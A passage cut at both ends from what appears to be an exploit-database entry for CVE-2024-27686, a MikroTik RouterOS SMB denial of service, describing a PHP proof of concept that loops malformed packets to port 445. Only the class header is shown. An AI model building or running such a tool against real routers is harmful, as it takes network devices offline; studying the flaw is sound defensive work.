the SMB process and render services unavailable. \\n Specially crafted SMB packets trigger an abnormal condition, leading to a Denial of Service, requiring manual restart or reboot of the router to recover.\\n The PoC supports multiple RouterOS version ranges using different packet sequences, sends malformed SMB messages to port 445, and can loop continuously based on HTTP responsiveness to maintain persistent DoS impact.\\n \\n [+] POC : \\n \\n \\u003c?php\\n \/**\\n * Author: indoushka\\n *\/\\n \\n class CVE_2024_27686_Exploit {\\n \/\/ ANSI Color Codes\\n private $colors = [\\n
